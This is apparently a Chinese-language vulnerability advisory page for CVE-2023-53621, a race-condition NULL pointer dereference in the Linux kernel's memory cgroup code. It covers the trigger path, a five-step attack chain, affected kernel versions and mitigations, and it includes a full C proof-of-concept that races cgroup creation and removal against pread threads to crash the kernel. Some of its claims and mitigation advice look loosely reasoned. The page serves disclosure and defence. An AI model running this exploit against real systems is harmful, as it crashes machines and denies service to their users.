IPBUF安全漏洞报告
English
CVE-2023-53621 CVSS 7.8 高危

CVE-2023-53621 Linux内核memcontrol空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53621
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (memcontrol/memory cgroup subsystem)

相关标签

Linux内核空指针解引用内存管理memcontrolcgroup本地提权拒绝服务竞争条件内核漏洞CVE-2023-53621

漏洞概述

CVE-2023-53621是Linux内核内存控制组(memcontrol)子系统中的一个高危空指针解引用漏洞,CVSS评分为7.8。该漏洞位于内核的回收最近性检查(eviction recency check)路径中,当系统尝试通过存储在shadow entry中的memcg ID来检索folio被回收时所属的内存控制组时,由于ID重用机制的存在,可能检索到一个尚未正确附加到memcg层级结构的新memcg对象。当在memcg分配与正确附加到层级结构之间的时间窗口内进行检索时,会在mem_cgroup_get_nr_swap_pages()函数执行层级遍历时触发空指针解引用,导致内核崩溃(kernel panic)。该漏洞可被本地低权限用户触发,通过调用pread64等系统调用触发文件读取操作,间接触发workingset_refault路径,最终在内核态导致系统拒绝服务(DoS)。由于该漏洞影响内核态的核心内存管理子系统,且具有本地权限提升和系统崩溃的潜在风险,被评定为高危漏洞。

技术细节

该漏洞的根本原因在于memcg ID的发布时机不当。在Linux内核的memcontrol子系统中,每个内存控制组(memcg)都有一个唯一的ID,当旧的memcg被销毁后,其ID可能会被新分配的memcg重用。在eviction recency check路径中,内核通过存储在shadow entry中的memcg ID来查找对应的memcg对象。然而,存在以下竞争条件:

1. 当旧memcg被销毁后,其ID被释放到ID分配池中
2. 新memcg被分配并获得相同的ID,但此时尚未完成memcg层级结构的附加操作
3. 在此时间窗口内,如果另一个线程通过shadow entry中的旧ID查找memcg,会找到这个尚未初始化完成的新memcg
4. 调用mem_cgroup_get_nr_swap_pages()进行memcg层级遍历时,访问尚未初始化的层级指针,导致空指针解引用

漏洞触发路径为:用户态调用pread64系统调用 → filemap_read → page_cache_sync_ra → page_cache_ra_unbounded → filemap_add_folio → workingset_refault → workingset_test_recent → mem_cgroup_get_nr_swap_pages → 空指针解引用。

修复方案是将memcg的ID发布从分配阶段(alloc stage)移动到memcg正确附加到层级结构之后,确保通过ID检索到的memcg一定是已正确初始化的对象。

攻击链分析

STEP 1
步骤1:创建大文件和内存压力环境
攻击者创建一个大文件并施加内存压力,为触发workingset机制(页面回收和重新引用检测)创造条件
STEP 2
步骤2:快速创建和销毁memory cgroup
通过在/sys/fs/cgroup/memory下快速创建和删除cgroup目录,触发memcg对象的分配和释放,导致memcg ID被快速重用
STEP 3
步骤3:并发执行文件读取操作
使用pread64系统调用并发读取文件,触发filemap_read → page_cache_sync_ra → workingset_refault → mem_cgroup_get_nr_swap_pages调用链
STEP 4
步骤4:竞争条件触发空指针解引用
在memcg分配完成但尚未附加到层级结构的时间窗口内,workingset路径通过旧ID检索到未初始化的新memcg,访问其层级指针导致空指针解引用
STEP 5
步骤5:内核崩溃导致拒绝服务
内核态空指针解引用导致kernel panic,系统拒绝服务,影响所有用户的可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53621 PoC - Trigger NULL pointer dereference in memcontrol // This PoC triggers the vulnerability by performing rapid file reads // while memory cgroups are being created and destroyed #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <pthread.h> #include <sys/stat.h> #define FILE_SIZE (100 * 1024 * 1024) // 100MB #define NUM_THREADS 16 #define READ_SIZE 4096 // Thread function to continuously read from file using pread64 void* reader_thread(void* arg) { int fd = *(int*)arg; char buf[READ_SIZE]; while (1) { // Use pread64 to trigger the vulnerable code path // This calls: pread64 -> filemap_read -> page_cache_sync_ra // -> workingset_refault -> mem_cgroup_get_nr_swap_pages pread(fd, buf, READ_SIZE, random() % (FILE_SIZE - READ_SIZE)); usleep(1); } return NULL; } // Thread function to rapidly create/destroy memory cgroups // This causes memcg ID recycling which triggers the race condition void* cgroup_thread(void* arg) { while (1) { // Create new cgroup directory (triggers memcg allocation) mkdir("/sys/fs/cgroup/memory/test_cgroup", 0755); usleep(10); // Remove cgroup (triggers memcg destruction and ID release) rmdir("/sys/fs/cgroup/memory/test_cgroup"); usleep(10); } return NULL; } int main() { int fd; pthread_t readers[NUM_THREADS]; pthread_t cgroup_creator; // Create a large file to read fd = open("/tmp/large_file", O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return 1; } // Extend file to FILE_SIZE ftruncate(fd, FILE_SIZE); // Start reader threads to trigger workingset_refault path for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&readers[i], NULL, reader_thread, &fd); } // Start cgroup creator/destroyer thread to trigger memcg ID recycling pthread_create(&cgroup_creator, NULL, cgroup_thread, NULL); // Wait for threads (vulnerability should trigger kernel panic) for (int i = 0; i < NUM_THREADS; i++) { pthread_join(readers[i], NULL); } pthread_join(cgroup_creator, NULL); close(fd); return 0; } // Compile: gcc -o poc poc.c -lpthread // Run: sudo ./poc // Expected result: Kernel NULL pointer dereference and system crash // Bug signature: BUG: kernel NULL pointer dereference in mem_cgroup_get_nr_swap_pages

影响范围

Linux Kernel < 6.6 (受影响的稳定版本)
Linux Kernel 6.6.x (部分版本受影响)
Linux Kernel 6.1.x (LTS分支受影响)
Linux Kernel 5.15.x (LTS分支受影响)
Linux Kernel 5.10.x (LTS分支受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)限制非特权用户对cgroup文件系统的访问权限,通过mount选项或文件系统权限控制;2)减少memory cgroup的动态创建和销毁操作,避免memcg ID的频繁重用;3)使用cgroup v1替代v2或反之,临时规避特定路径的触发;4)在关键系统上配置kernel.panic参数,使得单个进程触发的内核异常不会导致整个系统不可用;5)监控系统稳定性,准备快速恢复方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表